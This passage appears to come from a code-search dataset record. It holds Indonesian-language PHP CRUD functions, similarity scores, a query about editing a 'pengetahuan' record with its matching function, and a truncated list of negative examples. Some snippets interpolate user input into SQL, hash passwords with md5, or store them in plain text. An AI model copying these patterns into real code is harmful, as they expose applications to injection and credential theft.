$data_detail_simpan_penjualans->harga_produk,\n 'jumlah_produk' => $data_detail_simpan_penjualans->jumlah_produk,\n 'diskon' => $data_detail_simpan_penjualans->diskon,\n 'diskon_persen' => $data_detail_simpan_penjualans->diskon_persen,\n 'id_modifier' => $data_detail_simpan_penjualans->id_modifier,\n 'subtotal' => $data_detail_simpan_penjualans->subtotal,\n 'toko_id' => Auth::user()->toko_id,\n ]);\n\n $data_tbs++;\n }\n $respon['data_tbs'] = $data_tbs;\n $respon['diskon_faktur'] = $data_simpan_penjualan->first()->diskon;\n\n return response()->json($respon);\n }", "public function masukkin(Request $request)\n\t{\nDB::table('pembelian')->insert([\n\t'id_beli' => $request->id_pembeli,\n\t'id_pembeli' => $request->id_pembeli,\n\t'Tanggal_Beli' => $request->Tanggal_Beli,\n]); \n// alihkan halaman ke halaman pegawai\nreturn redirect('/pembelian');\n\n}", "public function store(Request $request) /*ini untuk melakukan pengajuan barang*/\n {\n $request['id_pengajuanbrg']=$this->getNewCodePB();\n Pengajuanbarang::insert([\n 'id_pengajuanbrg'=>$request['id_pengajuanbrg'],\n 'nip_mengajukan'=>Auth::user()->nip,\n 'tanggal_pengajuan'=>now(),\n ]);\n\n if(isset($request->id_barang)){\n foreach ($request->id_barang as $key => $value) {\n Dtl_pengajuanbarang::insert([\n 'jumlahpengajuan'=>$request->jumlahpengajuan[$key],\n 'id_barang'=>$value,\n 'id_pengajuanbrg'=>$request['id_pengajuanbrg'],\n ]);\n }\n }\n // $Dtl_pengajuanbarang = Dtl_pengajuanbarang::find($request['id_pengajuanbrg']);\n return redirect('riwayat')->with(['success' => 'Pengajuan Barang Berhasil di Ajukan']);\n }", "public function store(Request $request)\n {\n $panitia=new Panitias();\n $panitia->id_kegiatan=$request->get('id_kegiatan');\n $panitia->id_jabatan=$request->get('id_jabatan');\n $panitia->nim=$request->get('nim');\n $panitia->point=$request->get('point');\n $panitia->save();\n }", "public function tambahSoalDariBank(Request $request, $id_ujian) { \n $this->validate($request ,[\n 'point' => 'required',\n ]);\n \n $soal = new Soal;\n $soal->id_ujian = $id_ujian;\n $soal->id_bank_soal = $request['id_bank_soal'];\n $soal->point = $request['point'];\n\n $soal->save();\n\n return back()->with('success', 'Soal ditambahkan');\n }", "public function tambah(Request $request)\n {\n SatuanModel::create([\n 'satuan' => $request->satuan,\n ]);\n return redirect('/admin/satuan-produk')->with('message', 'Data Telah Di tambahkan');\n }", "public function actionCreate()\n {\n $model = new InmueblePorcentajePropietario();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['index' ,'id' => $model->inmueble_id]);\n } else {\n $model->inmueble_id=Yii::$app->request->get('id');\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "public function create()\n {\n //\n $untukid = DB::table('pegawais')->max('id');\n $newkode = $untukid + 1;\n $digit = strlen($newkode);\n if ($digit == '1') {\n $kode = \"1049652000\".$newkode;\n }\n elseif ($digit == '2') {\n $kode = \"104965200\".$newkode;\n }\n elseif ($digit == '3') {\n $kode = \"10496520\".$newkode;\n }\n elseif ($digit == '4') {\n $kode = \"1049652\".$newkode;\n }\n\n $dd = User::all();\n $jabatan = Jabatan::whereNotIn('Kode_jabatan',['J001'])->with('Golongan')->get();\n $golongan = Golongan::all();\n return view('pegawai.create', compact('kode', 'pegawai', 'dd', 'jabatan', 'golongan'));\n }", "public function insert_paket()\n {\n //validasi input\n if(!$this->validate([\n 'paket' => [\n 'rules' =>'required',\n 'errors' =>[\n 'required' => 'paket harus diisi.'\n ]\n ],\n ])){\n $validation = \\Config\\Services::validation();\n return redirect()->to(base_url('control_paket/kelola_paket'))->withInput()->with('validation', $validation);\n }\n\n\n $paket = $this->request->getPost('paket');\n\n $data = [\n 'nama_paket' => $paket,\n ];\n\n $this->paket->input_paket($data);\n session()->setFlashdata('pesan','data berhasil ditambahkan');\n return redirect()->to(base_url('control_paket'));\n }", "function add_kehilangan($params)\n {\n $this->db->insert('kehilangan', $params);\n return $this->db->insert_id();\n }", "public function store(Request $request)\n\t{\n\t\tif(Module::hasAccess(\"Penjualans\", \"create\")) {\n\n\t\t\t$rules = Module::validateRules(\"Penjualans\", $request);\n\n\t\t\t$validator = Validator::make($request->all(), $rules);\n\n\t\t\tif ($validator->fails()) {\n\t\t\t\treturn redirect()->back()->withErrors($validator)->withInput();\n\t\t\t}\n\n\t\t\t$insert_id = Module::insert(\"Penjualans\", $request);\n\n\t\t\treturn redirect()->route(config('laraadmin.adminRoute') . '.penjualans.index');\n\n\t\t} else {\n\t\t\treturn redirect(config('laraadmin.adminRoute').\"/\");\n\t\t}\n\t}", "public function add()\n {\n $data = [\n 'NamaMusyrif' => $this->input->post('nama_musyrif'),\n 'Email' => $this->input->post('email'),\n 'NoHp' => $this->input->post('no_hp'),\n ];\n $this->Musyrif_M->addMusyrif($data);\n $this->session->set_flashdata('pesan', 'Berhasil ditambahkan!');\n redirect('musyrif');\n }", "public function addnew(){\n\t\t\tif($this->session->userdata('loggedIn_adminInfo')=='')redirect('admincp');\n\t\t\t$data['title'] \t\t\t= 'Projects 100K';\n\t\t\t$postedValue_fname \t\t= array();\n\t\t\tif($this->session->userdata('post_promotionData'))\n\t\t\t$data['postedValue'] \t\t= \t$this->session->userdata('post_promotionData');\n\t\t\t$data['hdnPromotionID']\t\t=\t'';\t\n\t\t\t$data['promotionInfo']\t\t=\tarray();\n\t\t\t$data['catg_uri_string']\t=\t'';\n\t\t\t$this->load->view('templates/admincp/header', $data);\n\t\t\t$this->load->view('admincp/promotion/form', $data);\n\t\t}", "public function store(Request $request)\n {\n Petugas::create([\n \n 'level_id'=>$request->level_id,\n 'username'=>$request->username,\n 'password'=>$request->password,\n 'nama_petugas'=>$request->nama_petugas\n\n\n ]);\n //JIKA BENAR MAKA KEMBALI KE INDEX SISWA\n return redirect(route('Index.petugas'));\n \n}", "public function store(Request $request)\n {\n $this->validate($request,[\n 'nama' => 'required|min:2',\n 'jabatan' => 'required|max:255',\n \n \n ]);\n\n $pembinas = new Pembina;\n $pembinas->nama = $request->nama;\n $pembinas->jabatan = $request->jabatan;\n \n $pembinas->save();\n return redirect()->route('pembina.index');\n }", "public function create()\n {\n // $data = array(\n // 'id_pemasok' => request()->get('idpemasok'),\n // 'nama_pemasok' => request()->get('namapemasok'),\n // 'email' => request()->get('emailpemasok'),\n // 'alamat' => request()->get('alamatpemasok'),\n\n // );\n // DB::table('pemasoks')->insert($data);\n // return redirect('/supplier');;\n }", "function tambah()\n\t{\n\t\t$data['departemen'] = $this->Mdepartemen->tampil_departemen();\n\t\t//mengambil data dari fungsi tampil_pegawai\n\t\t$data['pegawai'] = $this->Mpegawai->tampil_pegawai();\n\t\t//mengambil data dari fungsi tampil_kategori\n\t\t$data['kategori'] = $this->Mkategori->tampil_kategori();\n\t\t//mengambil data dari fungsi tampil_hardware\n\t\t$data['hardware'] = $this->Mhardware->tampil_hardware();\n\n\t\t$data['judul'] = \"Form Tambah Hardware\";\n\t\t//Menampilkan form tambahhardware\n\t\t$this->theme->set_ui(\"admin/tambahhardware\", $data);\n\n\t\t//menyimpan inputan dari form tambahhardware\n\t\t$inputan = $this->input->post();\n\n\t\t//jika ada inputan dari form\n\t\tif($inputan)\n\t\t{\n\t\t\t//menjalankan fungsi simpan_hardware\n\t\t\t$this->Mhardware->simpan_hardware($inputan);\n\n\t\t\tredirect(\"admin/hardware\");\n\t\t}\n\t\t\n\n\t}", "function add() {\n\t\t$this->account();\n\t\tif (!empty($this->data)) {\n\t\t\t$this->Album->create();\n $data['Album'] = $this->data['Album'];\n\t\t\t$data['Album']['images']=$_POST['userfile'];\n\t\t\tif ($this->Album->save($data['Album'])){\n\t\t\t\t$this->Session->setFlash(__('Thêm mới danh mục thành công', true));\n\t\t\t\t$this->redirect(array('action' => 'index'));\n\t\t\t} else {\n\t\t\t\t$this->Session->setFlash(__('Thêm mơi danh mục thất bại. Vui long thử lại', true));\n\t\t\t}\n\t\t}\n\t\t\n\t}", "function TambahDataPegawai()\n\t{\n\t\tinclude '../../koneksi/koneksi.php';\n\n\t\t//inisialisasi\n\t\t$id_pegawai = $_POST['id_pegawai'];\n\t\t$nama = $_POST['nama'];\n\t\t$jabatan = $_POST['jabatan'];\n\t\t$username = $_POST['username'];\n\t\t$password = $_POST['password'];\n\t\t$password = md5($password);\n\n\t\t//insert ke tabel user\n\t\t$sql = \"INSERT INTO user (username, password) VALUES(?, ?)\";\n\t\t$stmt = $db->prepare($sql);\n\t\t$stmt->bind_param('ss', $username, $password);\n\t\tif($stmt->execute()){\n\t\t\t$stmt->insert_id;\n\t\t}else{\n\t\t\tdie('Error : ('. $db->errno .')'. $db->error);\n\t\t}\n\t\t$stmt->close();\n\n\t\t//get id user \n\t\t$sql = \"SELECT id_user FROM user WHERE username='$username'\";\n\t\t$stmt = $db->prepare($sql);\n\t\t$stmt->execute();\n\n\t\t$stmt->bind_result($id_user);\n\t\twhile($stmt->fetch()){\n\t\t\t$id_user;\n\t\t}\n\n\t\t//insert ke tabel pegawai\n\t\t$sql = \"INSERT INTO pegawai (id_pegawai, nama, jabatan, id_user) VALUES(?, ?, ?, ?)\";\n\t\t$stmt = $db->prepare($sql);\n\t\t$stmt->bind_param('sssi', $id_pegawai, $nama, $jabatan, $id_user);\n\t\tif($stmt->execute()){\n\t\t\techo \"Data berhasil disimpan\";\n\t\t}else{\n\t\t\tdie('Error : ('. $db->errno .')'. $db->error);\n\t\t}\n\t\t$stmt->close();\n\t}", "function addnew() {\r\n $db= $this->dbf;\r\n $key_name = array(\r\n $db->tea_name => $this->input->post($db->tea_name),\r\n $db->tea_sex => $this->input->post($db->tea_sex),\r\n $db->tea_phone => $this->input->post($db->tea_phone),\r\n $db->tea_address => $this->input->post($db->tea_address),\r\n $db->tea_position => $this->input->post($db->tea_position),\r\n $db->tea_email => $this->input->post($db->tea_email),\r\n// $db->tea_status => $this->input->post($db->tea_status),\r\n $db->tea_description => $this->input->post($db->tea_description)\r\n );\r\n $key_name[$db->tea_password]=md5($this->input->post($db->tea_password));\r\n return $this->db->insert('tbl_teachers',$key_name);\r\n }", "public function store(CreateFormPengajuanKKRequest $request)\n {\n // $input = $request->all();\n $input = new FormPengajuanKK();\n $input->nik_atau_nama = $request->nik_atau_nama;\n $input->telepon = $request->telepon;\n $input->jumlah_keluarga = $request->jumlah_keluarga;\n $input->footer_cetak_data = $request->footer_cetak_data;\n $input->nomor_surat = $this->generateNomorSurat($input->nik_atau_nama);\n //$formpengajuankk = $this->FormPengajuanKKRepository->create($input);\n\n if ($input->save()) {\n $data = Datapenduduk::where('id', $input->nik_atau_nama)->first();\n $data->status = '1';\n $data->save();\n\n Flash::success('FormPengajuanKK berhasil ditambahkan.');\n return redirect()->route('detailkk.create', ['nomor_surat' => $input->nomor_surat]);\n \n } else {\n Flash::success('FormPengajuanKK gagal successfully.');\n return redirect()->route('formpengajuankk.index');\n }\n\n \n }", "public function add()\n {\n $data = [\n 'property' => [\n 'template' => 'extracurricular_add',\n 'title' => 'Tambah Ekstrakurikuler',\n 'menu' => $this->menu->read(),\n ],\n 'data' => [],\n ];\n\n $this->load->view('template', $data);\n }", "public function add() {\n if ($this->id == 0) {\n $reponse = $this->bdd->prepare('INSERT INTO chapitres SET title = :title, body = :body');\n $reponse->execute([\n 'body'=>$this->body, \n 'title'=>$this->title\n ]);\n }\n }", "public function tambah($data){\n\t\t$this->db->insert('pinjam_uang', $data);\n\t}", "public function actionCreate()\n {\n $model = new Pembelian();\n\n if ($model->load(Yii::$app->request->post())) {\n $transaction = Yii::$app->db->beginTransaction();\n try {\n $model->jenis_ppn = 'NON-PPN';\n \n $model->listPembelian = Yii::$app->request->post('ItemPembelian', []);\n if (($model->save())) {\n $transaction->commit();\n return $this->redirect(['index']);\n }\n } catch (\\Exception $ecx) {\n $transaction->rollBack();\n throw $ecx;\n }\n return $this->render('create', [\n 'model' => $model,\n ]);\n return $this->redirect(['index']);\n } else {\n $model->tanggal = date(\"Y-m-d\");\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "public function newprodadd()\n {\n $kcalnewprod = $_POST['kcalnewprod'];\n $namenewprod = $_POST['namenewprod'];\n //Tworze instancje obiektu klasy NewprodPrototype (dodawania nowego produktu do sesji), i dodaje nowy produkt (pierwszy)\n $NewProductObject = new NewprodPrototype($namenewprod[0],$kcalnewprod);\n $NewProductObject->setNameAndKcalToSession();\n\n //Sprawdzam czy jest ich więcej ( wtedy skopiuje produkt używając Prototypu)\n if(count($namenewprod)>1)\n {\n //jeśli tak usuń pierwszy element (dodany już) i za pomocą prototypu dodawaj następne\n array_shift($namenewprod);\n\n foreach ($namenewprod as $namenewPRD)\n {\n //używam wbudowanej implementacji w php (clone) bazującej na wzorcu prototypu\n $newProduct_NewObject = clone $NewProductObject;\n //kopiuje obiekt i do skopiowanego obiektu zmieniam tylko nazwę (modyfikuję skopiowany obiekt) ( bo kalorie pozostawiam takie same )\n $newProduct_NewObject->setNameAndKcalToSession($namenewPRD);\n }\n }\n //\n\n return redirect('/');\n }", "public function add(){\n\t\t//$this->errorCore(\"percobaan\");\n\t\tif($this->loginFilter->isLogin($this->owner)){\n\t\t\t//redirect(base_url());\n\t\t}else{\n\t\t\t$this->reloadCore();\n\t\t}\n\t\t$kodeForm = $this->isNullPost('kodeForm',\"anda melakukan debugging\");\n if($kodeForm != 'J453RVT3CH@W3N4@FORM') $this->errorCore(\"token diperlukan\");\n\t\t$nama = $this->isNullPost('nama',\"nama tidak boleh kosong\");\n\t\t$kepsek = $this->isNullPost('kepsek',\"nama kepala sekolah tidak boleh kosong\");\n\t\t$nip = $this->isNullPost('nip',\"nip harus diisi\");\n\t\t$email = $this->isNullPost('email',\"email harus diisi\");\n\t\t$nohp = $this->isNullPost('nohp',\"no handphone harus diisi\");\n\t\t$idline = $this->isNullPost('idline',\"\",false);\n\t\tif(!$idline){\n\t\t\t$idLine=\"\";\n\t\t}else{\n\t\t\t$idline = htmlspecialchars(htmlentities($this->isNullPost('idline')));\n\t\t}\n\t\t\n\t\t$aktor=null;\n\t\tif($this->loginFilter->isLogin($this->owner)){\n\t\t\t$aktor=$this->owner;\n\t\t}else if($this->loginFilter->isLogin($this->sekolah)){\n\t\t\t$aktor = $this->sekolah;\n\t\t}else if($this->loginFilter->isLogin($this->worker)){\n\t\t\t$aktor = $this->worker;\n\t\t}else{\n\t\t\t$this->reloadCore();\n\t\t}\n\t\t$temp = $this->inputJaservFilter->nameSchoolFiltering($nama);\n\t\tif(!$temp[0]) $this->errorCore($temp[1]);\n\t\t\n\t\t$aktor->initial($this->inputJaservFilter);\n\t\t$temp = $aktor->getCheckName($kepsek,1);\n\t\tif(!$temp[0]) $this->errorCore($temp[1]);\n\t\t\n\t\t$temp = $aktor->getCheckNip($nip,1);\n\t\tif(!$temp[0]) $this->errorCore($temp[1]);\n\t\t$temp = $aktor->getCheckEmail($email,1);\n\t\tif(!$temp[0]) $this->errorCore($temp[1]);\n\t\t\n\t\t$temp = $aktor->getCheckNuTelphone($nohp,1);\n\t\tif(!$temp[0]) $this->errorCore($temp[1]);\n\t\t$this->loadLib(\"ControlPengguna\");\n\t\t$this->loadLib(\"ControlSekolah\");\n\t\t$this->loadLib(\"ControlPekerja\");\n\t\t$controlPengguna = new ControlPengguna($this->gateControlModel);\n\t\t$controlSekolah = new ControlSekolah($this->gateControlModel);\n\t\t$controlPekerja = new ControlPekerja($this->gateControlModel);\n\t\t$tempObjectDB = $controlSekolah->getDataByNama($nama);\n\t\tif($tempObjectDB && $tempObjectDB->getNextCursor()) $this->errorCore(\"Nama sekolah ini sudah terdaftar\");\n\t\t\n\t\t\n\t\t$identifiedSekolah = $controlPengguna->generateIdentified(2);\n\t\t$identifiedKepSek = $controlPengguna->generateIdentified(3);\n\t\t$nick = \"KEP-SEK-\".date(\"Ymd-His\");\n\t\t$nickName = $this->loginFilter->getHashNickName($nick);\n\t\t$key = \"H\".substr(date(\"Y\"),0,2).\"E\".substr(date(\"Y\"),2,2).\"A\".date(\"m\").\"D\".date(\"d\").\"a\".date(\"H\").\"e\".date(\"i\").\"h\".date(\"s\");\n\t\t$keyPass = $this->loginFilter->getHashKeyWord($key);\n\t\t$emailCI = $this->loadLib(\"ControlEmail\",true);\n\t\t$emailCI->pushTarget($email);\n\t\t$emailCI->addSubject(\"Permintaan pembuatan Akun\");\n\t\t$emailCI->addMessageByView(\"Accountsekolah.html\",array(\n\t\t\t\"nickname\" => $nick,\n\t\t\t\"keypass\" => $key,\n\t\t\t\"url\" => base_url(),\n\t\t\t\"nama\" => $nama,\n\t\t\t\"kepsek\" => $kepsek,\n\t\t\t\"hari\" => date(\"Y m d\").\" Pukul \".date(\"H:i:s\")\n\t\t));\n\t\t//not connect to internet, \n\t\t//$result = $emailCI->send();\n\t\t$result = true;\n\t\tif(!$result){\n\t\t\t$this->errorCore(\"email tidak valid\");\n\t\t}\n\t\t$tempObjectDB = $controlPengguna->getObject();\n\t\t$tempObjectDB->setIdentified($identifiedSekolah);\n\t\t$tempObjectDB->setNickName($nickName);\n\t\t$tempObjectDB->setKeyWord($keyPass);\n\t\tif(!$controlPengguna->addData($tempObjectDB)){\n\t\t\t$this->errorCore(\"gagal menambahkan Sekolah\");\n\t\t}\n\t\t$tempObjectDB = $controlSekolah->getObject();\n\t\t$tempObjectDB->setIdentified($identifiedSekolah);\n\t\t$tempObjectDB->setNama($nama);\n\t\t$tempObjectDB->setKepSek($identifiedKepSek);\n\t\tif(!$controlSekolah->addData($tempObjectDB)){\n\t\t\t$controlPengguna->removeByIdentified($identifiedSekolah);\n\t\t\t$this->errorCore(\"gagal menambahkan Sekolah\");\n\t\t}\n\t\t$tempObjectDB = $controlPekerja->getObject();\n\t\t$tempObjectDB->setIdentified($identifiedKepSek);\n\t\t$tempObjectDB->setNama($kepsek);\n\t\t$tempObjectDB->setNip($nip);\n\t\t$tempObjectDB->setEmail($email);\n\t\t$tempObjectDB->setNoHp($nohp);\n\t\t$tempObjectDB->setIdLine($idline);\n\t\tif(!$controlSekolah->addData($tempObjectDB)){\n\t\t\t$controlPengguna->removeByIdentified($identifiedSekolah);\n\t\t\t$controlSekolah->removeByIdentified($identifiedSekolah);\n\t\t\t$this->errorCore(\"gagal menambahkan Sekolah\");\n\t\t}\n\t\t$this->trueCore(\"Berhasil menambahkan sekolah\");\n\t}" ]
[ "0.68769336", "0.67311484", "0.6614731", "0.6588668", "0.6549776", "0.65324175", "0.65178704", "0.64994824", "0.6492128", "0.64155567", "0.6411806", "0.6389164", "0.63716537", "0.6325359", "0.62724966", "0.62557507", "0.62435836", "0.6242445", "0.6241005", "0.6207467", "0.6201842", "0.61995345", "0.6182872", "0.61639875", "0.6159955", "0.61445737", "0.611126", "0.6083991", "0.60824454", "0.6075978", "0.60726225", "0.6060523", "0.6052054", "0.60506415", "0.604918", "0.6048134", "0.6043827", "0.6043177", "0.60398537", "0.6035846", "0.60335106", "0.60317296", "0.60273856", "0.60206765", "0.6020379", "0.6017434", "0.60151416", "0.60150295", "0.6006328", "0.6005386", "0.60032594", "0.6002466", "0.59930634", "0.59732217", "0.5960772", "0.5950919", "0.59484065", "0.5947029", "0.5936064", "0.5935252", "0.59334797", "0.592568", "0.59244484", "0.5923489", "0.59153986", "0.590182", "0.5896502", "0.58897597", "0.58871233", "0.58870775", "0.5885208", "0.5879411", "0.58700985", "0.5868641", "0.5860101", "0.585527", "0.58544296", "0.58506286", "0.5849412", "0.5835254", "0.58341104", "0.58323455", "0.582768", "0.58271885", "0.58225447", "0.5822073", "0.58184284", "0.58057207", "0.5804298", "0.580357", "0.57990056", "0.57989126", "0.5798203", "0.5797778", "0.57936317", "0.57910335", "0.57869464", "0.5786096", "0.57854396", "0.57853836" ]
0.6846086
1
/ Editing a pengetahuan
function edit($id_pengetahuan) { // check if the pengetahuan exists before trying to edit it $data['pengetahuan'] = $this->Pengetahuan_model->get_pengetahuan($id_pengetahuan); if(isset($data['pengetahuan']['id_pengetahuan'])) { if(isset($_POST) && count($_POST) > 0) { $params = array( 'kode_penyakit' => $this->input->post('kode_penyakit'), 'id_gejala' => $this->input->post('id_gejala'), 'mb' => $this->input->post('mb'), 'md' => $this->input->post('md'), ); $this->Pengetahuan_model->update_pengetahuan($id_pengetahuan,$params); redirect('pengetahuan/index'); } else { $data['_view'] = 'pengetahuan/edit'; $this->load->view('layouts/main',$data); } } else show_error('The pengetahuan you are trying to edit does not exist.'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function edit_kuota_matkul_pilihan(){\n\t\t$sql = $this->m_aka->edit_kuota_matkul_pilihan();\n\n\t}", "public function edit(Pengeluaran $pengeluaran)\n {\n //\n }", "public function edit(pelanggan $pelanggan)\n {\n // \n }", "public function edit(Pengumuman $pengumuman)\n {\n //\n }", "public function edit()\n {\n // check if the aspek_penilaian exists before trying to edit it\n $data = json_decode($this->security->xss_clean($this->input->raw_input_stream), true);\n // check if the range_nilai exists before trying to edit it\n $result = $this->Aspek_penilaian_model->update_aspek_penilaian($data);\n echo json_decode($data);\n }", "public function edit(pelanggan $pelanggan)\n {\n //\n }", "public function edit(Pemesanan $pemesanan)\n {\n //\n }", "protected function editar()\n {\n }", "public function edit(KegiatanMahasiswa $kegiatanMahasiswa)\n {\n //\n }", "public function edit(Pemohon $pemohon)\n {\n //\n }", "public function edit_toko(){\n\t}", "public function edit_sanpham()\n\t\t{\n\t\t\tif (isset($_POST['tensanpham'])&& isset($_POST['img'])&& isset($_POST['mota'])&& isset($_POST['baohanh'])&& isset($_POST['gia'])){\n\t\t\t\t$id = $_POST['id'];\n\t\t\t\t$this->tensanpham = $_POST['tensanpham'];\n\t\t\t\t//$this->tenloaisanpham = $_POST['tenloaisanpham'];\n\t\t\t\t$this->img = $_POST['img'];\n\t\t\t\t$this->mota = $_POST['mota'];\n\t\t\t\t$this->baohanh = $_POST['baohanh'];\n\t\t\t\t$this->gia = $_POST['gia'];\n\t\t\t\t//goi ham luu data cua model san pham\n\t\t\t\t$kq = $this->sanpham_model->update_sanpham($id,$this->tensanpham,$this->img,$this->mota,$this->baohanh,$this->gia);\n\t\t\t\tif ($kq) {\n\t\t\t\t\techo 'thanh cong ... update du lieu - sanphamcontroller';\n\t\t\t\t} else {\n\t\t\t\t\techo 'fail... update du lieu that bai -- sanphamcontroller';\n\t\t\t\t}\t\t\t\t\n\t\t\t} else {\n\t\t\t\techo 'ban chua nhap du lieu -- sanphamcontroller';\n\t\t\t}\n\t\t\t\n\t\t}", "public function edit(KegiatanHarian $kegiatanHarian)\n {\n //\n }", "public function edit()\n {\n return \"Ini Halaman Edit\";\n }", "public function modelDoEdit(){\n\t\t\t$maphongban = isset($_GET[\"maphongban\"])&&is_numeric($_GET[\"maphongban\"])?$_GET[\"maphongban\"]:0;\n\t\t\t$tenphongban = $_POST[\"tenphongban\"];\n\t\t\t//lay bien ket noi de thao tac csdl\n\t\t\t$conn = Connection::getInstance();\n\t\t\t//chuan bi truy van\n\t\t\t$query = $conn->prepare(\"update phongban set tenphongban=:ten where maphongban=:ma\");\n\t\t\t$query->execute(array(\"ten\"=>$tenphongban,\"ma\"=>$maphongban));\n\t\t}", "public function editar()\n {\n }", "public function edit(WarnaProduk $warnaProduk)\n {\n //\n }", "public function edit(Pekan $pekan)\n {\n //\n }", "private function modifyTurkey()\n {\n echo PHP_EOL;\n \n $turkeyToModify = $this->productDao->getByEan(self::PRODUCT_TURKEY_EAN); \n $turkeyToModify->ean = self::PRODUCT_TURKEY_NEW_EAN;\n $turkeyToModify->name = self::PRODUCT_TURKEY_NEW_NAME;\n \n try\n {\n $isTurkeyModified = $this->productDao->modify($turkeyToModify);\n\n echo self::PRODUCT_TURKEY_NAME . ' modified ' . \n (($isTurkeyModified) ? '' : 'un') . \n 'successfuly!' . PHP_EOL; \n }\n catch (Exception $e)\n {\n echo $e->getMessage();\n }\n\n }", "function update_surat_keputusan_pemutih_penyalur() {\n//\t\tif (! $this->get_permission('fill_this')) return $this->intruder();\n\t\tglobal ${$GLOBALS['post_vars']};\n\t\t$record = array (\n\t\t\t'id_surat_keputusan_pemutih_penyalur' => ${$GLOBALS['post_vars']}['id_surat_keputusan_pemutih_penyalur']\n\t\t);\n\t\t$_block = new block();\n\t\t$_block->set_config('title', ('Update Surat Keputusan Pemutihan Izin Penyalur Status'));\n\t\t$_block->set_config('width', 595);\n\t\tif ($result = surat_keputusan_pemutih_penyalur::get($record)) {\n\t\t\t$record = $result[0];\n\t\t\tif (${$GLOBALS['post_vars']}['surat_keputusan_pemutih_penyalur']!='') $record['surat_keputusan_pemutih_penyalur'] = ${$GLOBALS['post_vars']}['surat_keputusan_pemutih_penyalur'];\n\t\t\tif (${$GLOBALS['post_vars']}['keputusan_pemutih_penyalur']!='') $record['keputusan_pemutih_penyalur'] = ${$GLOBALS['post_vars']}['keputusan_pemutih_penyalur'];\n\t\t\tif (${$GLOBALS['post_vars']}['nama']!='') $record['nama'] = ${$GLOBALS['post_vars']}['nama'];\n\t\t\t\n\t\t\tif (${$GLOBALS['post_vars']}['nip']!='') $record['nip'] = ${$GLOBALS['post_vars']}['nip'];\n\t\t\tif (${$GLOBALS['post_vars']}['insert_by']!='') $record['insert_by'] = ${$GLOBALS['post_vars']}['insert_by'];\n\t\t\tif (${$GLOBALS['post_vars']}['date_insert']!='') $record['date_insert'] = $this->parsedate(trim(${$GLOBALS['post_vars']}['date_insert']));\n\n\t\t\teval($this->save_config);\n\t\t\tif (surat_keputusan_pemutih_penyalur::update($record)) {\n\n\t\t\t\t$_block->parse(array('+<font color=green><b>'.__('Successfull Updated').'</b></font>'));\n\t\t\t\treturn $_block->get_str();\n\t\t\t}\n\t\t}\n\t\t$GLOBALS['self_close_js'] = $GLOBALS['adodb']->ErrorMsg();\n\t\t$_block->parse(array('+<font color=red><b>'.__('Failed Updated').'</b></font>'.' :'.__('Data doesn\\'t exists')));\n\t\treturn $_block->get_str();\n\t}", "public function edit(Pembayaran $pembayaran)\n {\n //\n }", "public function edit()\n {\n //\n\t\treturn 'ini halaman edit';\n }", "public function edit(Uang $uang)\n {\n //\n }", "public function edit(mahasiswa $mahasiswa)\n {\n //\n }", "function EditDataPromosi()\n\t{\n\t\tinclude '../../koneksi/koneksi.php';\n\n\t\t//inisialisasi\n\t\t$id_promosi = $_POST['id_promosi'];\n\t\t$status = $_POST['status'];\n\t\t\n\t\t//update ke tabel promosi\n\t\t$sql = \"UPDATE promosi SET status = ?, id_pegawai = ? WHERE id_promosi = ?\";\n\t\t$stmt = $db->prepare($sql);\n\t\t$stmt->bind_param('sii', $status, $id_pegawai, $id_promosi);\n\t\tif($stmt->execute()){\n\t\t\t$_SESSION['status_operasi_promosi'] = \"berhasil_memperbaharui\";\n\t\t}else{\n\t\t\t$_SESSION['status_operasi_promosi'] = \"gagal_memperbaharui\";\n\t\t}\n\t\t$stmt->close();\n\t}", "function EditDataPegawai()\n\t{\n\t\tinclude '../../koneksi/koneksi.php';\n\n\t\t//inisialisasi\n\t\t$id_pegawai = $_POST['id_pegawai'];\n\t\t$nama = $_POST['nama'];\n\t\t$jabatan = $_POST['jabatan'];\n\t\t$username = $_POST['username'];\n\t\t$password = $_POST['password'];\n\t\t$password = md5($password);\n\n\t\t//update ke tabel pegawai\n\t\t$sql = \"UPDATE pegawai SET id_pegawai = ?, nama = ?, jabatan = ? WHERE id = ?\";\n\t\t$stmt = $db->prepare($sql);\n\t\t$stmt->bind_param('iss', $id_pegawai, $nama, $jabatan);\n\t\tif($stmt->execute()){\n\t\t\techo \"Data berhasil diperbaharui\";\n\t\t}else{\n\t\t\tdie('Error : ('. $db->errno .')'. $db->error);\n\t\t}\n\t\t$stmt->close();\n\t}", "public function edit(Penulis $penulis)\n {\n //\n }", "public function testUpdatePayslip()\n {\n }", "public function edit($id_peminjaman)\n {\n //\n\n\n }", "public function edit(Penduduk $penduduk)\n {\n //\n }", "public function edit(Penduduk $penduduk)\n {\n //\n }", "function EditDataTemplatePesan()\n\t{\n\t\tinclude '../../koneksi/koneksi.php';\n\n\t\t//inisialisasi\n\t\t$jenis = $_POST['jenis'];\n\t\t$isi = $_POST['isi'];\n\t\t$id = $_POST['id'];\n\n\t\t//update ke tabel pesan\n\t\t$sql = \"UPDATE pesan SET jenis = ?, isi = ? WHERE id = ?\";\n\t\t$stmt = $db->prepare($sql);\n\t\t$stmt->bind_param('ssi', $jenis, $isi, $id);\n\t\tif($stmt->execute()){\n\t\t\t$_SESSION['status_operasi_tp'] = \"berhasil_memperbaharui\";\n\t\t}else{\n\t\t\t$_SESSION['status_operasi_tp'] = \"gagal_memperbaharui\";\n\t\t}\n\t\t$stmt->close();\n\t}", "public function edit_password_mahasiswa()\n\t{\n\t\t$data['edit'] = $this->m_aka->edit_mahasiswa();\n\t\t$data['content'] = 'password/edit_password_mahasiswa';\n\t\t$this->load->view('content', $data);\n\t\t\n\t}", "public function edit(jawaban_soal $jawaban_soal)\n {\n //\n }", "public function edit(Pabellones $pabellones)\n {\n //\n }", "public function edit(peserta $peserta)\n {\n //\n }", "public function editData() {\n $this->daftar_barang = array_values($this->daftar_barang);\n $data_barang = json_encode($this->daftar_barang, JSON_PRETTY_PRINT);\n file_put_contents($this->file, $data_barang);\n $this->ambilData();\n }", "public function edit(Sekolah $sekolah)\n {\n //\n }", "function update_surat_keputusan_pemutih_penyalur_form() {\n//\t\tif (! $this->get_permission('fill_this')) return $this->intruder();\n\t\tglobal ${$GLOBALS['session_vars']}, ${$GLOBALS['get_vars']};\n\t\t$field_arr = surat_keputusan_pemutih_penyalur::get_field_set();\n\n\t\t$optional_arr = 